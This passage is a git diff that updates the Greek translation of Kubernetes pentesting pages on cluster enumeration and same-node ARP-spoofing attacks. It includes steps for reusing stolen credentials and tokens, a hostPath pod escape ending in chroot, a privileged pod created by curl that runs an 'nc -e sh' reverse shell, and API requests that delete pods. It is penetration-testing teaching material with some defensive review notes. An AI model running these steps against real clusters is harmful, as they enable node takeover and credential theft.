endpoint). ### Using kubectl -Έχοντας το token και τη διεύθυνση του API server μπορείς να χρησιμοποιήσεις kubectl ή curl για να το access όπως υποδεικνύεται εδώ: +Έχοντας το token και τη διεύθυνση του API server χρησιμοποιείς kubectl ή curl για να το προσπελάσεις όπως υποδεικνύεται εδώ: -By default, The APISERVER επικοινωνεί με schema **`https://`** +By default, The APISERVER is communicating with `https://` schema ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> if no `https://` in url, you may get Error Like Bad Request. +> αν δεν υπάρχει `https://` στο url, μπορεί να λάβεις Error όπως Bad Request. -Μπορείτε να βρείτε ένα [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Ο στόχος των παρακάτω ενοτήτων είναι να παρουσιάσουν με οργανωμένο τρόπο διαφορετικές επιλογές για να enumerate και να κατανοήσετε το νέο K8s στο οποίο αποκτήσατε πρόσβαση. +Μπορείς να βρεις ένα [**official kubectl cheatsheet εδώ**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Ο στόχος των ακόλουθων sections είναι να παρουσιάσουν με σειρά διαφορετικές επιλογές για να enumerate και να κατανοήσεις το νέο K8s στο οποίο έχεις αποκτήσει access. -Για να βρείτε το HTTP request που στέλνει το `kubectl` μπορείτε να χρησιμοποιήσετε την παράμετρο `-v=8` +Για να βρεις το HTTP request που στέλνει το `kubectl` μπορείς να χρησιμοποιήσεις το parameter `-v=8` #### MitM kubectl - Proxyfying kubectl ```bash @@ -150,7 +150,7 @@ kubectl config set-context --current --namespace= {{#endtab }} {{#endtabs }} -Αν καταφέρατε να κλέψετε κάποια διαπιστευτήρια χρηστών, μπορείτε να τα **ρυθμίσετε τοπικά** χρησιμοποιώντας κάτι σαν: +Αν κατάφερες να κλέψεις τα credentials κάποιων users, μπορείς να τα **ρυθμίσεις τοπικά** χρησιμοποιώντας κάτι σαν: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ @@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \ ``` ### Λήψη Υποστηριζόμενων Πόρων -Με αυτές τις πληροφορίες θα γνωρίζεις όλες τις υπηρεσίες που μπορείς να παραθέσεις +Με αυτές τις πληροφορίες θα γνωρίζεις όλες τις υπηρεσίες που μπορείς να απαριθμήσεις {{#tabs }} {{#tab name="kubectl" }} @@ -174,20 +174,46 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace {{#endtab }} {{#endtabs }} -### Μεταδεδομένα αντικειμένου που αξίζει να ελέγξετε +### Μεταδεδομένα object που αξίζει να ελεγχθούν -Όταν μπορείτε να διαβάσετε ένα object, εξάγετε το πλήρες YAML ή JSON αντί να βασίζεστε μόνο σε πίνακα εξόδου ή `describe`. Το πιο χρήσιμο security context βρίσκεται συχνά σε γενικά object fields που υπάρχουν σε πολλούς resource types: +Όταν μπορείς να διαβάσεις ένα object, κάνε export το πλήρες YAML ή JSON αντί να βασίζεσαι μόνο σε output πίνακα ή `describe`. Το πιο χρήσιμο security context συχνά βρίσκεται σε γενικά object fields που υπάρχουν σε πολλούς resource types: ```bash kubectl get pod -n -o yaml kubectl get deploy -n -o json | jq '.metadata, .spec, .status' kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' ``` -- `metadata.uid`, `name`, `namespace`, `apiVersion` και `kind` αναγνωρίζουν το ακριβές αντικείμενο και αποφεύγουν τη σύγχυση μεταξύ αντικειμένων με το ίδιο όνομα σε διαφορετικά namespaces ή API groups. -- `metadata.labels` και selectors συνδέουν Services, Deployments, ReplicaSets, Pods, NetworkPolicies και automation. Η παρακολούθηση selectors είναι συχνά ο πιο γρήγορος τρόπος για να εντοπίσετε τα πραγματικά backend pods για ένα Service. -- `metadata.annotations` μπορεί να leak operational context όπως ingress behavior, cloud load balancer settings, GitOps ή Helm metadata, policy exemptions, και service mesh configuration. Δεν πρέπει να περιέχουν secrets, αλλά τα πραγματικά clusters συχνά εκθέτουν εκεί χρήσιμες ενδείξεις. +- `metadata.uid`, `name`, `namespace`, `apiVersion` και `kind` προσδιορίζουν το ακριβές object και αποφεύγουν τη σύγχυση μεταξύ objects με το ίδιο όνομα σε διαφορετικά namespaces ή API groups. +- `metadata.labels` και selectors συνδέουν Services, Deployments, ReplicaSets, Pods, NetworkPolicies και automation. Η παρακολούθηση των selectors είναι συχνά ο πιο γρήγορος τρόπος για να εντοπίσεις τα πραγματικά backend pods ενός Service. +- `metadata.annotations` μπορούν να αποκαλύψουν operational context όπως ingress behavior, cloud load balancer settings, GitOps ή Helm metadata, policy exemptions, και service mesh configuration. Δεν θα πρέπει να περιέχουν secrets, αλλά τα πραγματικά clusters συχνά εκθέτουν εκεί χρήσιμα στοιχεία. - `metadata.ownerReferences` δείχνει controller lineage. Αν ένα Pod ανήκει σε ένα ReplicaSet που ανήκει σε ένα Deployment, η αλλαγή ή διαγραφή μόνο του Pod συνήθως δεν διορθώνει την πηγή. -- `metadata.finalizers` και `metadata.deletionTimestamp` εξηγούν resources που έχουν κολλήσει σε deletion και μπορούν να αποκαλύψουν cleanup controllers ή persistence/disruption tricks. -- `status`, Events, και conditions μπορούν να αποκαλύψουν node placement, pod IPs, image IDs, μηνύματα αποτυχίας, scheduling issues, admission denials, και controller progress. Είναι χρήσιμες ενδείξεις, αλλά τα audit logs εξακολουθούν να απαιτούνται για να αποδειχθεί ποιος πραγματοποίησε μια ενέργεια. +- `metadata.finalizers` και `metadata.deletionTimestamp` εξηγούν resources που έχουν κολλήσει στη διαγραφή και μπορούν να αποκαλύψουν cleanup controllers ή persistence/disruption tricks. +- `status`, Events, και conditions μπορούν να αποκαλύψουν node placement, pod IPs, image IDs, μηνύματα αποτυχίας, scheduling issues, admission denials, και controller progress. Είναι χρήσιμα στοιχεία, αλλά τα audit logs εξακολουθούν να απαιτούνται για να αποδείξουν ποιος πραγματοποίησε μια ενέργεια. + +### Dynamic Resource Allocation and device evidence + +Αν το cluster χρησιμοποιεί GPUs, NICs, FPGAs, ή άλλο εξειδικευμένο hardware, έλεγξε αν υπάρχει Kubernetes Dynamic Resource Allocation (DRA). Το DRA χρησιμοποιεί `resource.k8s.io` objects όπως `DeviceClass`, `ResourceSlice`, `ResourceClaim`, και `ResourceClaimTemplate` για να περιγράψει τα διαθέσιμα devices και να τα δεσμεύσει για Pods. Αυτά τα objects μπορούν να αποκαλύψουν ποια nodes μπορούν να έχουν πρόσβαση σε πολύτιμο hardware, ποιο driver το διαχειρίζεται, και ποιο workload έχει μια allocation. +```bash +kubectl api-resources --api-group=resource.k8s.io +kubectl get deviceclasses.resource.k8s.io 2>/dev/null +kubectl get resourceslices.resource.k8s.io 2>/dev/null +kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null +kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null +kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}' +kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga' +``` +Κατά τον έλεγχο, περιόρισε τα writes σε cluster-scoped `DeviceClass` και `ResourceSlice` objects μόνο σε admins και DRA drivers, και κράτα τα δικαιώματα για `ResourceClaim` / `ResourceClaimTemplate` scoped στα namespaces που τα χρειάζονται. Τα δικαιώματα των drivers να ενημερώνουν το `ResourceClaim` status πρέπει να είναι explicit και narrow. Στα nodes, το kubelet PodResources API εκτίθεται συνήθως μέσω `/var/lib/kubelet/pod-resources/kubelet.sock`; τα monitoring DaemonSets μπορεί να κάνουν mount αυτό το directory για να inspect assigned devices, οπότε review αυτά τα Pods όπως και άλλους privileged node agents. + +### ClusterTrustBundle και trust στα certificate add-ons + +Πρόσφατα clusters μπορεί να εκθέτουν `ClusterTrustBundle` objects στο `certificates.k8s.io` API group. Είναι cluster-scoped X.509 trust anchor bundles που τα Pods μπορούν να κάνουν mount μέσω projected volumes. Το broad read access είναι αναμενόμενο, αλλά το write access είναι sensitive επειδή η αλλαγή trusted roots μπορεί να επηρεάσει webhooks, aggregated APIs, service meshes και applications που καταναλώνουν cluster-distributed CA material. +```bash +kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle +kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null +kubectl get clustertrustbundle -o yaml 2>/dev/null +kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle' +kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}' +``` +Κατά την ανασκόπηση, καταγράψτε `signerName`, bundle fingerprints, writer identities, projected-volume consumers, και οποιοδήποτε trust-distribution controller όπως cert-manager trust-manager. Αντιμετωπίστε τα `APIService` objects με `insecureSkipTLSVerify: true`, παρωχημένες τιμές `caBundle`, ή ευρείες permissions για patch σε APIService/webhook trust fields ως findings certificate-trust και όχι ως απλό object inventory. ### Get Current Privileges @@ -212,15 +238,15 @@ kurl -i -s -k -X $'POST' \ {{#endtab }} {{#endtabs }} -Ένας άλλος τρόπος να ελέγξεις τα privileges σου είναι χρησιμοποιώντας το tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* +Ένας άλλος τρόπος να ελέγξετε τα privileges σας είναι χρησιμοποιώντας το εργαλείο: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* -Μπορείς να μάθεις περισσότερα για το **Kubernetes RBAC** στο: +Μπορείτε να μάθετε περισσότερα για το **Kubernetes RBAC** στο: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} -**Μόλις ξέρεις ποια privileges** έχεις, έλεγξε την ακόλουθη σελίδα για να καταλάβεις **αν μπορείς να τα abuse** για να κάνεις privilege escalation: +**Μόλις μάθετε ποια privileges** έχετε, ελέγξτε την ακόλουθη σελίδα για να διαπιστώσετε **αν μπορείτε να τα abuse** για να κάνετε escalate privileges: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -244,9 +270,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu {{#endtab }} {{#endtabs }} -### Λήψη namespaces +### Λάβετε namespaces -Το Kubernetes υποστηρίζει **πολλαπλά virtual clusters** που υποστηρίζονται από το ίδιο physical cluster. Αυτά τα virtual clusters ονομάζονται **namespaces**. +Το Kubernetes υποστηρίζει **πολλαπλά virtual clusters** που βασίζονται στο ίδιο physical cluster. Αυτά τα virtual clusters ονομάζονται **namespaces**. {{#tabs }} {{#tab name="kubectl" }} @@ -259,6 +285,9 @@ k get namespaces ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/ ``` +{{#endtab }} +{{#endtabs }} + ### Λήψη secrets {{#tabs }} @@ -278,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ {{#endtab }} {{#endtabs }} -Αν μπορείς να διαβάσεις secrets, μπορείς να χρησιμοποιήσεις τις παρακάτω γραμμές για να πάρεις τα privileges που σχετίζονται με κάθε token: +Εάν μπορείτε να διαβάσετε secrets, μπορείτε να χρησιμοποιήσετε τις ακόλουθες γραμμές για να πάρετε τα privileges που σχετίζονται με κάθε token: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` ### Λήψη Service Accounts -Όπως συζητήθηκε στην αρχή αυτής της σελίδας **όταν ένα pod εκτελείται, συνήθως του αποδίδεται ένα service account**. Επομένως, η απαρίθμηση των service accounts, των permissions τους και του πού εκτελούνται μπορεί να επιτρέψει σε έναν χρήστη να κλιμακώσει privileges. +Όπως συζητήθηκε στην αρχή αυτής της σελίδας **όταν ένα pod εκτελείται, συνήθως του αποδίδεται ένα service account**. Επομένως, η απαρίθμηση των service accounts, των δικαιωμάτων τους και του πού εκτελούνται μπορεί να επιτρέψει σε έναν χρήστη να κάνει privilege escalation. {{#tabs }} {{#tab name="kubectl" }} @@ -300,9 +329,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts {{#endtab }} {{#endtabs }} -### Λάβε Deployments +### Λήψη Deployments -Τα Deployments καθορίζουν την επιθυμητή κατάσταση για stateless application workloads. Δημιουργούν ReplicaSets, και αυτά τα ReplicaSets δημιουργούν Pods. +Τα Deployments καθορίζουν την επιθυμητή κατάσταση για workloads stateless εφαρμογών. Δημιουργούν ReplicaSets, και αυτά τα ReplicaSets δημιουργούν Pods. {{#tabs }} {{#tab name="kubectl" }} @@ -338,7 +367,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ {{#endtab }} {{#endtabs }} -### Λάβε Pods +### Λήψη Pods Τα Pods είναι τα πραγματικά **containers** που θα **τρέξουν**. @@ -357,9 +386,9 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ {{#endtab }} {{#endtabs }} -### Λάβετε Services +### Λήψη Services -Τα Kubernetes **services** χρησιμοποιούνται για να **εκθέσουν ένα service σε μια συγκεκριμένη θύρα και IP** (το οποίο θα λειτουργεί ως load balancer προς τα pods που στην πραγματικότητα παρέχουν το service). Αυτό είναι χρήσιμο για να ξέρετε πού μπορείτε να βρείτε άλλα services για να προσπαθήσετε να επιτεθείτε. +Τα Kubernetes **services** χρησιμοποιούνται για να **εκθέσουν μια service σε συγκεκριμένη port και IP** (η οποία θα λειτουργεί ως load balancer προς τα pods που στην πραγματικότητα προσφέρουν το service). Αυτό είναι χρήσιμο για να ξέρεις πού μπορείς να βρεις άλλα services για να δοκιμάσεις επίθεση. {{#tabs }} {{#tab name="kubectl" }} @@ -378,7 +407,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//services/ ### Λήψη nodes -Λάβετε όλα τα **nodes που έχουν ρυθμιστεί μέσα στο cluster**. +Λήψη όλων των **nodes που έχουν ρυθμιστεί μέσα στο cluster**. {{#tabs }} {{#tab name="kubectl" }} @@ -412,9 +441,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets {{#endtab }} {{#endtabs }} -### Λάβετε Jobs +### Λήψη Jobs -Τα Jobs δημιουργούν Pods που εκτελούνται μέχρι την ολοκλήρωση. Χρησιμοποιούνται συνήθως για migrations, backups, batch work και εφάπαξ administrative tasks. +Τα Jobs δημιουργούν Pods που εκτελούνται μέχρι την ολοκλήρωσή τους. Χρησιμοποιούνται συνήθως για migrations, backups, batch work και εφάπαξ διοικητικές εργασίες. {{#tabs }} {{#tab name="kubectl" }} @@ -433,7 +462,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs ### Λήψη CronJobs -Τα CronJobs χρησιμοποιούν ένα χρονοδιάγραμμα τύπου crontab για να δημιουργούν Jobs που εκκινούν Pods για εκτέλεση τύπου task. +Τα CronJobs χρησιμοποιούν ένα schedule τύπου crontab για να δημιουργούν Jobs που εκκινούν Pods για εκτέλεση τύπου task. {{#tabs }} {{#tab name="kubectl" }} @@ -452,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs ### Λήψη configMap -Το configMap πάντα περιέχει πολλές πληροφορίες και configfile που παρέχονται στις apps που τρέχουν στο kubernetes. Συνήθως μπορείς να βρεις πολλά password, secrets, tokens που χρησιμοποιούνται για σύνδεση και validation σε άλλες internal/external service. +Το configMap πάντα περιέχει πολλές πληροφορίες και configfile που παρέχονται στις apps που τρέχουν στο kubernetes. Συνήθως μπορείς να βρεις πολλά password, secrets, tokens που χρησιμοποιούνται για τη σύνδεση και την πιστοποίηση με άλλες εσωτερικές/εξωτερικές υπηρεσίες. {{#tabs }} {{#tab name="kubectl" }} @@ -468,7 +497,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps {{#endtab }} {{#endtabs }} -### Λήψη Network Policies / Cilium Network Policies +### Απόκτηση Network Policies / Cilium Network Policies {{#tabs }} {{#tab name="First Tab" }} @@ -480,7 +509,7 @@ k get CiliumClusterwideNetworkPolicies {{#endtab }} {{#endtabs }} -### Λήψη Όλων / Όλων +### Πάρε τα Πάντα / Όλα {{#tabs }} {{#tab name="kubectl" }} @@ -490,7 +519,7 @@ k get all {{#endtab }} {{#endtabs }} -### **Λήψη όλων των πόρων που διαχειρίζεται το helm** +### **Λάβε όλες τις πόρους που διαχειρίζονται από helm** {{#tabs }} {{#tab name="kubectl" }} @@ -500,7 +529,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' {{#endtab }} {{#endtabs }} -### **Λήψη καταναλώσεων Pods** +### **Λήψη consumptions των Pods** {{#tabs }} {{#tab name="kubectl" }} @@ -510,23 +539,23 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} -## Αλληλεπίδραση με το cluster χωρίς τη χρήση του kubectl +## Αλληλεπίδραση με το cluster χωρίς χρήση του kubectl -Αφού το Kubernetes control plane εκθέτει ένα REST-ful API, μπορείς να φτιάξεις χειροκίνητα HTTP requests και να τα στείλεις με άλλα tools, όπως **curl** ή **wget**. +Βλέποντας ότι το Kubernetes control plane εκθέτει ένα REST-ful API, μπορείς να δημιουργήσεις χειροκίνητα HTTP requests και να τα στείλεις με άλλα tools, όπως **curl** ή **wget**. ### Διαφυγή από το pod -Αν μπορείς να δημιουργήσεις νέα pods, ίσως μπορέσεις να ξεφύγεις από αυτά προς το node. Για να το κάνεις αυτό, χρειάζεται να δημιουργήσεις ένα νέο pod χρησιμοποιώντας ένα yaml file, να μεταβείς στο δημιουργημένο pod και μετά να κάνεις chroot στο system του node. Μπορείς να χρησιμοποιήσεις ήδη υπάρχοντα pods ως reference για το yaml file, αφού εμφανίζουν υπάρχοντα images και pathes. +Αν μπορείς να δημιουργήσεις νέα pods, ίσως μπορέσεις να διαφύγεις από αυτά προς το node. Για να το κάνεις αυτό, χρειάζεται να δημιουργήσεις ένα νέο pod χρησιμοποιώντας ένα yaml file, να μεταβείς στο δημιουργημένο pod και στη συνέχεια να κάνεις chroot στο σύστημα του node. Μπορείς να χρησιμοποιήσεις ήδη υπάρχοντα pods ως reference για το yaml file, αφού εμφανίζουν υπάρχοντα images και pathes. ```bash kubectl get pod [-n ] -o yaml ``` -> αν χρειάζεται να δημιουργήσεις pod σε συγκεκριμένο node, μπορείς να χρησιμοποιήσεις την ακόλουθη εντολή για να πάρεις labels στο node +> αν χρειάζεται να δημιουργήσετε pod σε συγκεκριμένο node, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή για να δείτε τα labels στο node > > `k get nodes --show-labels` > -> Συνήθως, τα kubernetes.io/hostname και node-role.kubernetes.io/master είναι και τα δύο καλά label για επιλογή. +> Συνήθως, τα kubernetes.io/hostname και node-role.kubernetes.io/master είναι καλά labels για επιλογή. -Στη συνέχεια δημιουργείς το attack.yaml αρχείο σου +Στη συνέχεια δημιουργείτε το αρχείο attack.yaml σας ```yaml apiVersion: v1 kind: Pod @@ -558,11 +587,11 @@ restartPolicy: Never ``` [original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) -Μετά από αυτό δημιουργείς το pod +Στη συνέχεια δημιουργείτε το pod ```bash kubectl apply -f attacker.yaml [-n ] ``` -Τώρα μπορείτε να κάνετε switch στο created pod ως εξής +Τώρα μπορείτε να μεταβείτε στο δημιουργημένο pod ως εξής ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` @@ -570,11 +599,11 @@ kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name ```bash chroot /root /bin/bash ``` -Πληροφορίες που αποκτήθηκαν από: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) +Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) ### Δημιουργία ενός privileged pod -Το αντίστοιχο yaml file είναι το εξής: +Το αντίστοιχο yaml αρχείο είναι το εξής: ```yaml apiVersion: v1 kind: Pod @@ -618,9 +647,9 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Διαγραφή ενός pod +### Διαγραφή a pod -Διαγράψτε ένα pod με curl: +Delete a pod με curl: ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -637,7 +666,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` -### Δημιουργία ενός Service Account +### Δημιουργήστε ένα Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -672,7 +701,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" ``` -### Δημιουργία ενός Role +### Δημιουργήστε ένα Role ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -778,7 +807,7 @@ ccurl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" ``` -## Αναφορές +## References {{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index e11b17df3..d05e98f20 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -4,16 +4,16 @@ ## Introduction -Στο Kubernetes, παρατηρείται ότι μια προεπιλεγμένη συμπεριφορά επιτρέπει την καθιέρωση συνδέσεων μεταξύ **όλων των containers που βρίσκονται στον ίδιο node**. Αυτό ισχύει ανεξάρτητα από τις διαφορές namespace. Αυτή η συνδεσιμότητα επεκτείνεται μέχρι το **Layer 2** (Ethernet). Κατά συνέπεια, αυτή η ρύθμιση εκθέτει δυνητικά το σύστημα σε vulnerabilities. Συγκεκριμένα, ανοίγει τη δυνατότητα σε ένα **malicious container** να εκτελέσει ένα **ARP spoofing attack** εναντίον άλλων containers που βρίσκονται στον ίδιο node. Κατά τη διάρκεια ενός τέτοιου attack, το malicious container μπορεί δόλια να υποκλέψει ή να τροποποιήσει την network traffic που προορίζεται για άλλα containers. +Στο Kubernetes, παρατηρείται ότι μια default συμπεριφορά επιτρέπει τη δημιουργία συνδέσεων μεταξύ **όλων των containers που βρίσκονται στον ίδιο node**. Αυτό ισχύει ανεξάρτητα από τις namespace διακρίσεις. Αυτή η συνδεσιμότητα επεκτείνεται μέχρι το **Layer 2** (Ethernet). Κατά συνέπεια, αυτή η διαμόρφωση εκθέτει δυνητικά το σύστημα σε vulnerabilities. Συγκεκριμένα, ανοίγει τη δυνατότητα για ένα **malicious container** να εκτελέσει ένα **ARP spoofing attack** εναντίον άλλων containers που βρίσκονται στον ίδιο node. Κατά τη διάρκεια ενός τέτοιου attack, το malicious container μπορεί να υποκλέψει ή να τροποποιήσει δόλια την network traffic που προορίζεται για άλλα containers. -Οι ARP spoofing attacks περιλαμβάνουν τον **attacker sending falsified ARP** (Address Resolution Protocol) μηνύματα σε ένα local area network. Αυτό έχει ως αποτέλεσμα τη σύνδεση της **MAC address του attacker με την IP address ενός νόμιμου computer ή server στο network**. Μετά από επιτυχή εκτέλεση ενός τέτοιου attack, ο attacker μπορεί να υποκλέψει, να τροποποιήσει ή ακόμη και να σταματήσει data in-transit. Το attack εκτελείται στο Layer 2 του OSI model, γι’ αυτό και η προεπιλεγμένη συνδεσιμότητα στο Kubernetes σε αυτό το layer εγείρει concerns ασφαλείας. +Τα ARP spoofing attacks περιλαμβάνουν τον **attacker να στέλνει falsified ARP** (Address Resolution Protocol) μηνύματα σε ένα local area network. Αυτό έχει ως αποτέλεσμα τη σύνδεση της **MAC address του attacker με την IP address ενός νόμιμου computer ή server στο network**. Μετά την επιτυχή εκτέλεση ενός τέτοιου attack, ο attacker μπορεί να υποκλέψει, να τροποποιήσει ή ακόμη και να σταματήσει data in-transit. Το attack εκτελείται στο Layer 2 του OSI model, γι' αυτό και η default connectivity στο Kubernetes σε αυτό το layer εγείρει concerns ασφάλειας. -Στο scenario πρόκειται να δημιουργηθούν 4 machines: +Στο scenario θα δημιουργηθούν 4 machines: -- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack) -- **ubuntu-attack**: **Malicious** container in default namespace -- **ubuntu-victim**: **Victim** machine in kube-system namespace -- **mysql**: **Victim** machine in default namespace +- ubuntu-pe: Privileged machine για escape στο node και έλεγχο metrics (δεν χρειάζεται για το attack) +- **ubuntu-attack**: **Malicious** container στο default namespace +- **ubuntu-victim**: **Victim** machine στο kube-system namespace +- **mysql**: **Victim** machine στο default namespace ```yaml echo 'apiVersion: v1 kind: Pod @@ -96,22 +96,38 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` -## Βασική Δικτύωση Kubernetes +## Βασική Kubernetes Δικτύωση Αν θέλεις περισσότερες λεπτομέρειες για τα networking topics που παρουσιάζονται εδώ, πήγαινε στις references. ### ARP -Γενικά, το **pod-to-pod networking inside the node** είναι διαθέσιμο μέσω ενός **bridge** που συνδέει όλα τα pods. Αυτό το bridge ονομάζεται “**cbr0**”. (Κάποια network plugins θα εγκαταστήσουν το δικό τους bridge.) Το **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. Όταν φτάνει ένα incoming packet στο cbr0, μπορεί να κάνει resolve τη destination MAC address χρησιμοποιώντας ARP. +Γενικά, το **pod-to-pod networking inside the node** είναι διαθέσιμο μέσω ενός **bridge** που συνδέει όλα τα pods. Αυτό το bridge ονομάζεται “**cbr0**”. (Κάποια network plugins θα εγκαταστήσουν το δικό τους bridge.) Το **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. Όταν ένα incoming packet φτάνει στο cbr0, μπορεί να επιλύσει τη destination MAC address χρησιμοποιώντας ARP. -Αυτό σημαίνει ότι, by default, **κάθε pod που τρέχει στο ίδιο node** θα μπορεί να **communicate** με οποιοδήποτε άλλο pod στο ίδιο node (ανεξάρτητα από το namespace) σε ethernet level (layer 2). +Αυτό το γεγονός υποδηλώνει ότι, by default, **κάθε pod που τρέχει στο ίδιο node** θα μπορεί να **communicate** με οποιοδήποτε άλλο pod στο ίδιο node (ανεξάρτητα από το namespace) σε ethernet level (layer 2). > [!WARNING] -> Άρα, είναι δυνατό να πραγματοποιηθούν A**RP Spoofing attacks between pods in the same node.** +> Επομένως, είναι δυνατό να εκτελεστούν A**RP Spoofing attacks μεταξύ pods στο ίδιο node.** + +### NetworkPolicy and admin policy layers + +Το Kubernetes `NetworkPolicy` είναι ένα pod traffic control στο L3/L4, αλλά enforced by the CNI plugin και όχι από το API server itself. Ένα cluster μπορεί να αποθηκεύει NetworkPolicy objects ενώ εξακολουθεί να επιτρέπει traffic αν το active CNI δεν τα implement them, οπότε πάντα να κάνεις validate με ένα controlled allowed source και ένα blocked negative-control source. + +Μην σταματάς στο `kubectl get networkpolicy -A`. Clusters που χρησιμοποιούν Cilium, Calico, OVN-Kubernetes, Antrea, ή managed-provider dataplanes μπορεί επίσης να έχουν policy APIs όπως `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, ή `BaselineAdminNetworkPolicy`. Αυτά μπορούν να προσθέσουν explicit deny, tier/order, cluster scope, L7/DNS rules, ή admin guardrails που τα συνηθισμένα additive Kubernetes NetworkPolicy semantics δεν εξηγούν. + +Χρήσιμοι πρώτοι έλεγχοι: +```bash +kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico' +kubectl get networkpolicy -A +kubectl get cnp,ccnp -A 2>/dev/null +kubectl get globalnetworkpolicy -A 2>/dev/null +kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null +``` +Για bypass 